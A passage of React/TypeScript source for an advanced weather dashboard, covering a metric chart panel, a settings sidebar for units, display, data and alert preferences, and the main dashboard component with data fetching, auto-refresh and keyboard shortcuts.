            {selectedTimeRange !== 'current' && <Legend />}
          </BarChart>
        );
    }
  };

  const getMetricUnit = (metric: string) => {
    switch (metric) {
      case 'temperature': return '°C';
      case 'humidity': return '%';
      case 'pressure': return 'hPa';
      case 'windSpeed': return 'km/h';
      case 'precipitation': return 'mm';
      default: return '';
    }
  };

  return (
    <div className=""bg-white/10 backdrop-blur-lg rounded-2xl p-6 border border-white/20"">
      <div className=""flex flex-col sm:flex-row justify-between items-start sm:items-center mb-6 gap-4"">
        <div>
          <h3 className=""text-xl font-semibold text-white capitalize"">
            {selectedMetric.replace(/([A-Z])/g, ' $1').trim()} {getMetricUnit(selectedMetric)}
          </h3>
          <p className=""text-sm text-gray-300"">
            {selectedTimeRange === 'current' ? 'Current conditions' : 
             selectedTimeRange === 'hourly' ? '24-hour forecast' : '7-day forecast'}
          </p>
        </div>
        
        <div className=""flex flex-wrap gap-2"">
          {/* Metric Selector */}
          <select
            value={selectedMetric}
            onChange={(e) => setSelectedMetric(e.target.value as any)}
            className=""bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
          >
            <option value=""temperature"" className=""bg-gray-800"">Temperature</option>
            <option value=""humidity"" className=""bg-gray-800"">Humidity</option>
            <option value=""pressure"" className=""bg-gray-800"">Pressure</option>
            <option value=""windSpeed"" className=""bg-gray-800"">Wind Speed</option>
            <option value=""visibility"" className=""bg-gray-800"">Visibility</option>
          </select>

          {/* Time Range Selector */}
          <select
            value={selectedTimeRange}
            onChange={(e) => setSelectedTimeRange(e.target.value as any)}
            className=""bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
          >
            <option value=""current"" className=""bg-gray-800"">Current</option>
            <option value=""hourly"" className=""bg-gray-800"">24 Hours</option>
            <option value=""daily"" className=""bg-gray-800"">7 Days</option>
          </select>

          {/* Chart Type Selector */}
          <select
            value={chartType}
            onChange={(e) => {/* Chart type change handler */}}
            className=""bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white text-sm focus:outline-none focus:ring-2 focus:ring-blue-500""
          >
            <option value=""bar"" className=""bg-gray-800"">Bar Chart</option>
            <option value=""line"" className=""bg-gray-800"">Line Chart</option>
            <option value=""area"" className=""bg-gray-800"">Area Chart</option>
            {selectedTimeRange === 'current' && <option value=""radar"" className=""bg-gray-800"">Radar Chart</option>}
            {selectedTimeRange === 'current' && <option value=""scatter"" className=""bg-gray-800"">Scatter Plot</option>}
          </select>
        </div>
      </div>
      
      <div className=""h-80"">
        <ResponsiveContainer width=""100%"" height=""100%"">
          {renderChart()}
        </ResponsiveContainer>
      </div>

      {/* Chart Statistics */}
      {selectedTimeRange === 'current' && chartData.length > 0 && (
        <div className=""mt-6 grid grid-cols-2 md:grid-cols-4 gap-4"">
          <div className=""bg-white/5 rounded-lg p-3"">
            <div className=""text-xs text-gray-300 mb-1"">Average</div>
            <div className=""text-lg font-semibold text-white"">
              {(chartData.reduce((sum, item) => sum + item.value, 0) / chartData.length).toFixed(1)} {getMetricUnit(selectedMetric)}
            </div>
          </div>
          <div className=""bg-white/5 rounded-lg p-3"">
            <div className=""text-xs text-gray-300 mb-1"">Highest</div>
            <div className=""text-lg font-semibold text-green-400"">
              {Math.max(...chartData.map(item => item.value)).toFixed(1)} {getMetricUnit(selectedMetric)}
            </div>
          </div>
          <div className=""bg-white/5 rounded-lg p-3"">
            <div className=""text-xs text-gray-300 mb-1"">Lowest</div>
            <div className=""text-lg font-semibold text-blue-400"">
              {Math.min(...chartData.map(item => item.value)).toFixed(1)} {getMetricUnit(selectedMetric)}
            </div>
          </div>
          <div className=""bg-white/5 rounded-lg p-3"">
            <div className=""text-xs text-gray-300 mb-1"">Range</div>
            <div className=""text-lg font-semibold text-purple-400"">
              {(Math.max(...chartData.map(item => item.value)) - Math.min(...chartData.map(item => item.value))).toFixed(1)} {getMetricUnit(selectedMetric)}
            </div>
          </div>
        </div>
      )}
    </div>
  );
};

// Advanced Settings Panel
const SettingsPanel: React.FC<{
  preferences: WeatherPreferences;
  onPreferencesChange: (preferences: WeatherPreferences) => void;
  isOpen: boolean;
  onClose: () => void;
}> = ({ preferences, onPreferencesChange, isOpen, onClose }) => {
  const [activeSection, setActiveSection] = useState<'general' | 'display' | 'data' | 'notifications'>('general');

  const updatePreference = (key: keyof WeatherPreferences, value: any) => {
    onPreferencesChange({
      ...preferences,
      [key]: value
    });
  };

  return (
    <AnimatePresence>
      {isOpen && (
        <>
          <motion.div
            initial={{ opacity: 0 }}
            animate={{ opacity: 1 }}
            exit={{ opacity: 0 }}
            className=""fixed inset-0 bg-black/50 backdrop-blur-sm z-40""
            onClick={onClose}
          />
          <motion.div
            initial={{ opacity: 0, x: 300 }}
            animate={{ opacity: 1, x: 0 }}
            exit={{ opacity: 0, x: 300 }}
            className=""fixed right-0 top-0 h-full w-96 bg-white/10 backdrop-blur-lg border-l border-white/20 z-50 overflow-y-auto""
          >
            <div className=""p-6"">
              <div className=""flex items-center justify-between mb-6"">
                <h2 className=""text-xl font-bold text-white"">Settings</h2>
                <button
                  onClick={onClose}
                  className=""p-2 hover:bg-white/10 rounded-lg transition-colors""
                >
                  <X className=""w-5 h-5 text-white"" />
                </button>
              </div>

              {/* Section Navigation */}
              <div className=""flex mb-6"">
                {[
                  { key: 'general', label: 'General', icon: Settings },
                  { key: 'display', label: 'Display', icon: Monitor },
                  { key: 'data', label: 'Data', icon: Database },
                  { key: 'notifications', label: 'Alerts', icon: Bell }
                ].map(({ key, label, icon: Icon }) => (
                  <button
                    key={key}
                    onClick={() => setActiveSection(key as any)}
                    className={`flex-1 flex flex-col items-center gap-1 p-3 rounded-lg transition-colors ${
                      activeSection === key ? 'bg-blue-500/20 text-blue-400' : 'text-gray-400 hover:text-white'
                    }`}
                  >
                    <Icon className=""w-4 h-4"" />
                    <span className=""text-xs"">{label}</span>
                  </button>
                ))}
              </div>

              {/* Settings Content */}
              <div className=""space-y-6"">
                {activeSection === 'general' && (
                  <motion.div
                    initial={{ opacity: 0, y: 20 }}
                    animate={{ opacity: 1, y: 0 }}
                    className=""space-y-4""
                  >
                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Temperature Unit</label>
                      <select
                        value={preferences.temperatureUnit}
                        onChange={(e) => updatePreference('temperatureUnit', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""celsius"" className=""bg-gray-800"">Celsius (°C)</option>
                        <option value=""fahrenheit"" className=""bg-gray-800"">Fahrenheit (°F)</option>
                        <option value=""kelvin"" className=""bg-gray-800"">Kelvin (K)</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Wind Speed Unit</label>
                      <select
                        value={preferences.windSpeedUnit}
                        onChange={(e) => updatePreference('windSpeedUnit', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""kmh"" className=""bg-gray-800"">km/h</option>
                        <option value=""mph"" className=""bg-gray-800"">mph</option>
                        <option value=""ms"" className=""bg-gray-800"">m/s</option>
                        <option value=""knots"" className=""bg-gray-800"">knots</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Time Format</label>
                      <select
                        value={preferences.timeFormat}
                        onChange={(e) => updatePreference('timeFormat', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""24h"" className=""bg-gray-800"">24 Hour</option>
                        <option value=""12h"" className=""bg-gray-800"">12 Hour</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Date Format</label>
                      <select
                        value={preferences.dateFormat}
                        onChange={(e) => updatePreference('dateFormat', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""dd/mm/yyyy"" className=""bg-gray-800"">DD/MM/YYYY</option>
                        <option value=""mm/dd/yyyy"" className=""bg-gray-800"">MM/DD/YYYY</option>
                        <option value=""yyyy-mm-dd"" className=""bg-gray-800"">YYYY-MM-DD</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Language</label>
                      <select
                        value={preferences.language}
                        onChange={(e) => updatePreference('language', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""en"" className=""bg-gray-800"">English</option>
                        <option value=""es"" className=""bg-gray-800"">Español</option>
                        <option value=""fr"" className=""bg-gray-800"">Français</option>
                        <option value=""de"" className=""bg-gray-800"">Deutsch</option>
                        <option value=""it"" className=""bg-gray-800"">Italiano</option>
                        <option value=""pt"" className=""bg-gray-800"">Português</option>
                        <option value=""ru"" className=""bg-gray-800"">Русский</option>
                        <option value=""ja"" className=""bg-gray-800"">日本語</option>
                        <option value=""ko"" className=""bg-gray-800"">한국어</option>
                        <option value=""zh"" className=""bg-gray-800"">中文</option>
                      </select>
                    </div>
                  </motion.div>
                )}

                {activeSection === 'display' && (
                  <motion.div
                    initial={{ opacity: 0, y: 20 }}
                    animate={{ opacity: 1, y: 0 }}
                    className=""space-y-4""
                  >
                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Theme</label>
                      <select
                        value={preferences.theme}
                        onChange={(e) => updatePreference('theme', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""dark"" className=""bg-gray-800"">Dark</option>
                        <option value=""light"" className=""bg-gray-800"">Light</option>
                        <option value=""auto"" className=""bg-gray-800"">Auto</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Default View</label>
                      <select
                        value={preferences.defaultView}
                        onChange={(e) => updatePreference('defaultView', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""grid"" className=""bg-gray-800"">Grid View</option>
                        <option value=""list"" className=""bg-gray-800"">List View</option>
                        <option value=""map"" className=""bg-gray-800"">Map View</option>
                      </select>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Chart Type</label>
                      <select
                        value={preferences.chartType}
                        onChange={(e) => updatePreference('chartType', e.target.value)}
                        className=""w-full bg-white/10 border border-white/20 rounded-lg px-3 py-2 text-white focus:outline-none focus:ring-2 focus:ring-blue-500""
                      >
                        <option value=""line"" className=""bg-gray-800"">Line Chart</option>
                        <option value=""bar"" className=""bg-gray-800"">Bar Chart</option>
                        <option value=""area"" className=""bg-gray-800"">Area Chart</option>
                      </select>
                    </div>

                    <div className=""flex items-center justify-between"">
                      <span className=""text-sm font-medium text-white"">Animations</span>
                      <button
                        onClick={() => updatePreference('animations', !preferences.animations)}
                        className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                          preferences.animations ? 'bg-blue-600' : 'bg-gray-600'
                        }`}
                      >
                        <span
                          className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                            preferences.animations ? 'translate-x-6' : 'translate-x-1'
                          }`}
                        />
                      </button>
                    </div>

                    <div className=""flex items-center justify-between"">
                      <span className=""text-sm font-medium text-white"">Sound Effects</span>
                      <button
                        onClick={() => updatePreference('sounds', !preferences.sounds)}
                        className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                          preferences.sounds ? 'bg-blue-600' : 'bg-gray-600'
                        }`}
                      >
                        <span
                          className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                            preferences.sounds ? 'translate-x-6' : 'translate-x-1'
                          }`}
                        />
                      </button>
                    </div>
                  </motion.div>
                )}

                {activeSection === 'data' && (
                  <motion.div
                    initial={{ opacity: 0, y: 20 }}
                    animate={{ opacity: 1, y: 0 }}
                    className=""space-y-4""
                  >
                    <div className=""flex items-center justify-between"">
                      <span className=""text-sm font-medium text-white"">Auto Refresh</span>
                      <button
                        onClick={() => updatePreference('autoRefresh', !preferences.autoRefresh)}
                        className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                          preferences.autoRefresh ? 'bg-blue-600' : 'bg-gray-600'
                        }`}
                      >
                        <span
                          className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                            preferences.autoRefresh ? 'translate-x-6' : 'translate-x-1'
                          }`}
                        />
                      </button>
                    </div>

                    {preferences.autoRefresh && (
                      <div>
                        <label className=""block text-sm font-medium text-white mb-2"">
                          Refresh Interval (minutes)
                        </label>
                        <input
                          type=""range""
                          min=""1""
                          max=""60""
                          value={preferences.refreshInterval}
                          onChange={(e) => updatePreference('refreshInterval', Number(e.target.value))}
                          className=""w-full h-2 bg-gray-600 rounded-lg appearance-none cursor-pointer""
                        />
                        <div className=""flex justify-between text-xs text-gray-400 mt-1"">
                          <span>1min</span>
                          <span>{preferences.refreshInterval}min</span>
                          <span>60min</span>
                        </div>
                      </div>
                    )}

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Forecast Days</label>
                      <input
                        type=""range""
                        min=""1""
                        max=""14""
                        value={preferences.forecastDays}
                        onChange={(e) => updatePreference('forecastDays', Number(e.target.value))}
                        className=""w-full h-2 bg-gray-600 rounded-lg appearance-none cursor-pointer""
                      />
                      <div className=""flex justify-between text-xs text-gray-400 mt-1"">
                        <span>1 day</span>
                        <span>{preferences.forecastDays} days</span>
                        <span>14 days</span>
                      </div>
                    </div>

                    <div>
                      <label className=""block text-sm font-medium text-white mb-2"">Hourly Range (hours)</label>
                      <input
                        type=""range""
                        min=""6""
                        max=""72""
                        step=""6""
                        value={preferences.hourlyRange}
                        onChange={(e) => updatePreference('hourlyRange', Number(e.target.value))}
                        className=""w-full h-2 bg-gray-600 rounded-lg appearance-none cursor-pointer""
                      />
                      <div className=""flex justify-between text-xs text-gray-400 mt-1"">
                        <span>6h</span>
                        <span>{preferences.hourlyRange}h</span>
                        <span>72h</span>
                      </div>
                    </div>

                    <div className=""space-y-3"">
                      {[
                        { key: 'showForecast', label: 'Show Forecast' },
                        { key: 'showHourly', label: 'Show Hourly Data' },
                        { key: 'showAirQuality', label: 'Show Air Quality' },
                        { key: 'showUvIndex', label: 'Show UV Index' },
                        { key: 'showAstronomy', label: 'Show Astronomy Data' },
                        { key: 'showMarine', label: 'Show Marine Data' },
                        { key: 'showAgriculture', label: 'Show Agriculture Data' },
                        { key: 'showHealth', label: 'Show Health Metrics' },
                        { key: 'showEnergy', label: 'Show Energy Data' },
                        { key: 'showTransportation', label: 'Show Transportation' },
                        { key: 'showRecreation', label: 'Show Recreation Data' }
                      ].map(({ key, label }) => (
                        <div key={key} className=""flex items-center justify-between"">
                          <span className=""text-sm font-medium text-white"">{label}</span>
                          <button
                            onClick={() => updatePreference(key as keyof WeatherPreferences, !preferences[key as keyof WeatherPreferences])}
                            className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                              preferences[key as keyof WeatherPreferences] ? 'bg-blue-600' : 'bg-gray-600'
                            }`}
                          >
                            <span
                              className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                                preferences[key as keyof WeatherPreferences] ? 'translate-x-6' : 'translate-x-1'
                              }`}
                            />
                          </button>
                        </div>
                      ))}
                    </div>
                  </motion.div>
                )}

                {activeSection === 'notifications' && (
                  <motion.div
                    initial={{ opacity: 0, y: 20 }}
                    animate={{ opacity: 1, y: 0 }}
                    className=""space-y-4""
                  >
                    <div className=""flex items-center justify-between"">
                      <span className=""text-sm font-medium text-white"">Notifications</span>
                      <button
                        onClick={() => updatePreference('notifications', !preferences.notifications)}
                        className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                          preferences.notifications ? 'bg-blue-600' : 'bg-gray-600'
                        }`}
                      >
                        <span
                          className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                            preferences.notifications ? 'translate-x-6' : 'translate-x-1'
                          }`}
                        />
                      </button>
                    </div>

                    <div className=""flex items-center justify-between"">
                      <span className=""text-sm font-medium text-white"">Show Alerts</span>
                      <button
                        onClick={() => updatePreference('showAlerts', !preferences.showAlerts)}
                        className={`relative inline-flex h-6 w-11 items-center rounded-full transition-colors ${
                          preferences.showAlerts ? 'bg-blue-600' : 'bg-gray-600'
                        }`}
                      >
                        <span
                          className={`inline-block h-4 w-4 transform rounded-full bg-white transition-transform ${
                            preferences.showAlerts ? 'translate-x-6' : 'translate-x-1'
                          }`}
                        />
                      </button>
                    </div>

                    {preferences.showAlerts && (
                      <div>
                        <label className=""block text-sm font-medium text-white mb-2"">Alert Severity</label>
                        <div className=""space-y-2"">
                          {['minor', 'moderate', 'severe', 'extreme'].map(severity => (
                            <label key={severity} className=""flex items-center"">
                              <input
                                type=""checkbox""
                                checked={preferences.alertSeverity.includes(severity)}
                                onChange={(e) => {
                                  const newSeverity = e.target.checked
                                    ? [...preferences.alertSeverity, severity]
                                    : preferences.alertSeverity.filter(s => s !== severity);
                                  updatePreference('alertSeverity', newSeverity);
                                }}
                                className=""w-4 h-4 text-blue-600 bg-gray-100 border-gray-300 rounded focus:ring-blue-500""
                              />
                              <span className=""ml-2 text-sm text-white capitalize"">{severity}</span>
                            </label>
                          ))}
                        </div>
                      </div>
                    )}
                  </motion.div>
                )}
              </div>

              {/* Reset Button */}
              <div className=""mt-8 pt-6 border-t border-white/20"">
                <button
                  onClick={() => {
                    const defaultPreferences: WeatherPreferences = {
                      temperatureUnit: 'celsius',
                      windSpeedUnit: 'kmh',
                      pressureUnit: 'hpa',
                      precipitationUnit: 'mm',
                      visibilityUnit: 'km',
                      timeFormat: '24h',
                      dateFormat: 'dd/mm/yyyy',
                      language: 'en',
                      theme: 'dark',
                      animations: true,
                      sounds: false,
                      notifications: true,
                      autoRefresh: true,
                      refreshInterval: 10,
                      defaultView: 'grid',
                      chartType: 'line',
                      showForecast: true,
                      forecastDays: 7,
                      showHourly: true,
                      hourlyRange: 24,
                      showAlerts: true,
                      alertSeverity: ['moderate', 'severe', 'extreme'],
                      showAirQuality: true,
                      showUvIndex: true,
                      showAstronomy: false,
                      showMarine: false,
                      showAgriculture: false,
                      showHealth: true,
                      showEnergy: false,
                      showTransportation: false,
                      showRecreation: true,
                      favoriteCities: [],
                      recentSearches: [],
                      bookmarks: [],
                      customLocations: []
                    };
                    onPreferencesChange(defaultPreferences);
                  }}
                  className=""w-full bg-red-500/20 hover:bg-red-500/30 text-red-400 font-medium py-2 px-4 rounded-lg transition-colors""
                >
                  Reset to Defaults
                </button>
              </div>
            </div>
          </motion.div>
        </>
      )}
    </AnimatePresence>
  );
};

// Main Weather Dashboard Component
const AdvancedWeatherDashboard: React.FC = () => {
  // State Management
  const [weatherData, setWeatherData] = useState<{ [city: string]: ComprehensiveWeatherData }>({});
  const [selectedCountries, setSelectedCountries] = useState<Country[]>([]);
  const [loading, setLoading] = useState(false);
  const [error, setError] = useState<string | null>(null);
  const [searchTerm, setSearchTerm] = useState('');
  const [viewMode, setViewMode] = useState<'grid' | 'list'>('grid');
  const [showSettings, setShowSettings] = useState(false);
  const [filters, setFilters] = useState<any>({});
  const [notifications, setNotifications] = useState<any[]>([]);
  const [preferences, setPreferences] = useState<WeatherPreferences>({
    temperatureUnit: 'celsius',
    windSpeedUnit: 'kmh',
    pressureUnit: 'hpa',
    precipitationUnit: 'mm',
    visibilityUnit: 'km',
    timeFormat: '24h',
    dateFormat: 'dd/mm/yyyy',
    language: 'en',
    theme: 'dark',
    animations: true,
    sounds: false,
    notifications: true,
    autoRefresh: true,
    refreshInterval: 10,
    defaultView: 'grid',
    chartType: 'line',
    showForecast: true,
    forecastDays: 7,
    showHourly: true,
    hourlyRange: 24,
    showAlerts: true,
    alertSeverity: ['moderate', 'severe', 'extreme'],
    showAirQuality: true,
    showUvIndex: true,
    showAstronomy: false,
    showMarine: false,
    showAgriculture: false,
    showHealth: true,
    showEnergy: false,
    showTransportation: false,
    showRecreation: true,
    favoriteCities: [],
    recentSearches: [],
    bookmarks: [],
    customLocations: []
  });

  // Services
  const weatherService = useMemo(() => new AdvancedWeatherService(), []);

  // Fetch weather data
  const fetchWeatherData = useCallback(async (city: string) => {
    setLoading(true);
    setError(null);
    try {
      const data = await weatherService.getWeatherData(city);
      setWeatherData(prev => ({ ...prev, [city]: data }));
      
      // Add to recent searches
      setPreferences(prev => ({
        ...prev,
        recentSearches: [city, ...prev.recentSearches.filter(c => c !== city)].slice(0, 10)
      }));
      
    } catch (err) {
      setError(`Failed to fetch weather data for ${city}`);
      console.error('Weather fetch error:', err);
    } finally {
      setLoading(false);
    }
  }, [weatherService]);

  // Add country
  const addCountry = useCallback((country: Country) => {
    if (selectedCountries.find(c => c.code === country.code)) return;
    
    setSelectedCountries(prev => [...prev, country]);
    fetchWeatherData(country.city);
    
    // Add notification
    setNotifications(prev => [...prev, {
      id: Date.now().toString(),
      type: 'success',
      title: 'Country Added',
      message: `${country.name} has been added to your dashboard`,
      timestamp: new Date(),
      read: false,
      actions: []
    }]);
  }, [selectedCountries, fetchWeatherData]);

  // Remove country
  const removeCountry = useCallback((countryCode: string) => {
    const country = selectedCountries.find(c => c.code === countryCode);
    setSelectedCountries(prev => prev.filter(c => c.code !== countryCode));
    
    if (country) {
      setNotifications(prev => [...prev, {
        id: Date.now().toString(),
        type: 'info',
        title: 'Country Removed',
        message: `${country.name} has been removed from your dashboard`,
        timestamp: new Date(),
        read: false,
        actions: []
      }]);
    }
  }, [selectedCountries]);

  // Load default countries on mount
  useEffect(() => {
    const defaultCountries = COMPREHENSIVE_COUNTRIES.slice(0, 6);
    defaultCountries.forEach(country => {
      addCountry(country);
    });
  }, []); // Empty dependency array to run only once

  // Auto refresh effect
  useEffect(() => {
    if (!preferences.autoRefresh) return;

    const interval = setInterval(() => {
      selectedCountries.forEach(country => {
        fetchWeatherData(country.city);
      });
    }, preferences.refreshInterval * 60 * 1000);

    return () => clearInterval(interval);
  }, [preferences.autoRefresh, preferences.refreshInterval, selectedCountries, fetchWeatherData]);

  // Filter countries based on search and filters
  const filteredCountries = useMemo(() => {
    return COMPREHENSIVE_COUNTRIES.filter(country => {
      const matchesSearch = country.name.toLowerCase().includes(searchTerm.toLowerCase()) ||
                           country.city.toLowerCase().includes(searchTerm.toLowerCase()) ||
                           country.region.toLowerCase().includes(searchTerm.toLowerCase());
      
      const matchesRegion = !filters.region || country.region === filters.region;
      const matchesClimate = !filters.climateZone || country.climateZone === filters.climateZone;
      const matchesPopulation = !filters.population || 
        (country.population >= filters.population.min && country.population <= filters.population.max);

      return matchesSearch && matchesRegion && matchesClimate && matchesPopulation;
    });
  }, [searchTerm, filters]);

  // Error notification effect
  useEffect(() => {
    if (error) {
      setNotifications(prev => [...prev, {
        id: Date.now().toString(),
        type: 'error',
        title: 'Error',
        message: error,
        timestamp: new Date(),
        read: false,
        actions: [
          {
            label: 'Retry',
            handler: () => {
              selectedCountries.forEach(country => {
                fetchWeatherData(country.city);
              });
            }
          }
        ]
      }]);
      setError(null);
    }
  }, [error, selectedCountries, fetchWeatherData]);

  // Keyboard shortcuts
  useEffect(() => {
    const handleKeyDown = (event: KeyboardEvent) => {
      if (event.ctrlKey || event.metaKey) {
        switch (event.key) {
          case 'r':
            event.preventDefault();
            selectedCountries.forEach(country => {
              fetchWeatherData(country.city);
            });
            break;
          case ',':
            event.preventDefault();
            setShowSettings(!showSettings);
            break;
          case 'g':
            event.preventDefault();
            setViewMode('grid');
            break;
          case 'l':
            event.preventDefault();
            setViewMode('list');
            break;
        }
      }
    };

    window.addEventListener('keydown', handleKeyDown);
    return () => window.removeEventListener('keydown', handleKeyDown);
  }, [selectedCountries, fetchWeatherData, showSettings, viewMode]);

  return (
    <div className=""min-h-screen bg-gradient-to-br from-blue-900 via-purple-900 to-indigo-900"">
      {/* Header */}
      <header className=""bg-white/10 backdrop-blur-md border-b border-white/20 sticky top-0 z-30"">
        <div className=""container mx-auto px-4 py-6"">
          <motion.div
            initial={{ opacity: 0, y: -20 }}
            animate={{ opacity: 1, y: 0 }}
            className=""flex flex-col lg:flex-row gap-4 items-start lg:items-center justify-between""
          >
            <div>
              <h1 className=""text-3xl lg:text-4xl font-bold text-white mb-2"">
                🌍 Advanced Weather Dashboard
              </h1>
              <p className=""text-gray-300 text-sm"">
                Real-time weather data for {selectedCountries.length} locations • 
                Last updated: {formatTime(new Date(), preferences.timeFormat)}
              </p>
            </div>
            
            <div className=""flex flex-col sm:flex-row gap-4 items-start sm:items-center w-full lg:w-auto"">
              <AdvancedSearchBar
                value={searchTerm}
                onChange={setSearchTerm}
                placeholder=""Search countries, cities, or regions...""
                suggestions={COMPREHENSIVE_COUNTRIES.map(c => `${c.name} (${c.city})`)}
                showHistory={true}
                history={preferences.recentSearches}
                className=""flex-1 lg:w-80""
              />
              
              <div className=""flex gap-2"">
                <button
                  onClick={() => setViewMode('grid')}
                  className={`p-3 rounded-lg transition-colors ${
                    viewMode === 'grid' 
                      ? 'bg-blue-500 text-white' 
                      : 'bg-white/20 text-white/80 hover:bg-white/30'
                  }`}
                  title=""Grid View (Ctrl+G)""
                >
                  <Grid className=""w-5 h-5"" />
                </button>
                <button
                  onClick={() => setViewMode('list')}
                  className={`p-3 rounded-lg transition-colors ${
                    viewMode === 'list' 
                      ? 'bg-blue-500 text-white' 
                      : 'bg-white/20 text-white/80 hover:bg-white/30'
                  }`}
                  title=""List View (Ctrl+L)""
                >
                  <List className=""w-5 h-5"" />
                </button>
                <button
                  onClick={() => {
                    selectedCountries.forEach(country => {
                      fetchWeatherData(country.city);
                    });
                  }}
                  disabled={loading}
                  className=""p-3 rounded-lg bg-green-500/20 hover:bg-green-500/30 text-green-400 transition-colors disabled:opacity-50""
                  title=""Refresh All (Ctrl+R)""
                >
                  <RefreshCw className={`w-5 h-5 ${loading ? 'animate-spin' : ''}`} />
                </button>
                <button
                  onClick={() => setShowSettings(true)}
                  className=""p-3 rounded-lg bg-white/20 hover:bg-white/30 text-white transition-colors""
                  title=""Settings (Ctrl+,)""
                >
                  <Settings className=""w-5 h-5"" />
                </button>
              </div>
            </div>
          </motion.div>
        </div>
      </header>

      {/* Notifications */}
      <AnimatePresence>
        {notifications.filter(n => !n.read).slice(0, 3).map(notification => (
          <motion.div
            key={notification.id}
            initial={{ opacity: 0, y: -50, x: 300 }}
            animate={{ opacity: 1, y: 0, x: 0 }}
            exit={{ opacity: 0, y: -50, x: 300 }}
            className=""fixed top-20 right-4 z-40 bg-white/10 backdrop-blur-lg border border-white/20 rounded-lg p-4 max-w-sm""
          >
            <div className=""flex items-start gap-3"">
              <div className={`w-2 h-2 rounded-full mt-2 ${
                notification.type === 'success' ? 'bg-green-400' :
                notification.type === 'error' ? 'bg-red-400' :
                notification.type === 'warning' ? 'bg-yellow-400' :
                'bg-blue-400'
              }`} />
              <div className=""flex-1"">
                <div className=""font-semibold text-white text-sm"">{notification.title}</div>
                <div className=""text-gray-300 text-xs mt-1"">{notification.message}</div>
                {notification.actions.length > 0 && (
                  <div className=""flex gap-2 mt-2"">
                    {notification.actions.map((action, index) => (
                      <button
                        key={index}
                        onClick={action.handler}
                        className=""text-xs bg-blue-500/20 hover:bg-blue-500/30 text-blue-400 px-2 py-1 rounded transition-colors""
                      >
                        {action.label}
                      </button>
                    ))}
                  </div>
                )}
              </div>
              <button
                onClick={() => {
                  setNotifications(prev => prev.map(n => 
                    n.id === notification.id ? { ...n, read: true } : n
                  ));
                }}
                className=""text-white/60 hover:text-white""
              >
                <X className=""w-4 h-4"" />
              </button>
            </div>
          </motion.div>
        ))}
      </AnimatePresence>

      {/* Country Selector */}
      <div className=""container mx-auto px-4 py-6"">
        <AdvancedCountrySelector
          countries={filteredCountries}
          selectedCountries={selectedCountries}
          onAddCountry={addCountry}
          onRemoveCountry={removeCountry}
          searchTerm={searchTerm}
          filters={filters}
          onFilterChange={setFilters}
        />
      </div>

      {/* Weather Cards Grid */}
      <main className=""container mx-auto px-4 pb-8"">
        {loading && (
          <AdvancedLoadingSpinner
            size=""large""
            type=""spinner""
            message=""Fetching weather data...""
          />
        )}
        
        <motion.div 
          className={`grid gap-6 ${
            viewMode === 'grid' 
              ? 'grid-cols-1 md:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4' 
              : 'grid-cols-1 max-w-6xl mx-auto'
          }`}
          variants={ANIMATION_VARIANTS.container}
          initial=""hidden""
          animate=""visible""
          layout
        >
          {selectedCountries.map((country) => (
            <DetailedWeatherCard
              key={country.code}
              country={country}
              weatherData={weatherData[country.city]}
              onRemove={() => removeCountry(country.code)}
              viewMode={viewMode}
              preferences={preferences}
            />
          ))}
        </motion.div>

        {selectedCountries.length === 0 && (
          <motion.div
            initial={{ opacity: 0, y: 20 }}
            animate={{ opacity: 1, y: 0 }}
            className=""text-center py-16""
          >
            <Globe className=""w-16 h-16 text-white/40 mx-auto mb-4"" />
            <h3 className=""text-2xl font-semibold text-white mb-2"">No Countries Selected</h3>
            <p className=""text-gray-300 mb-6"">Add some countries from the selector above to get started</p>
            <button
              onClick={() => {
                const randomCountries = COMPREHENSIVE_COUNTRIES
                  .sort(() => Math.random() - 0.5)
                  .slice(0, 4);
                randomCountries.forEach(addCountry);
              }}
              className=""bg-blue-500 hover:bg-blue-600 text-white px-6 py-3 rounded-lg transition-colors""
            >
              Add Random Countries
            </button>
          </motion.div>
        )}

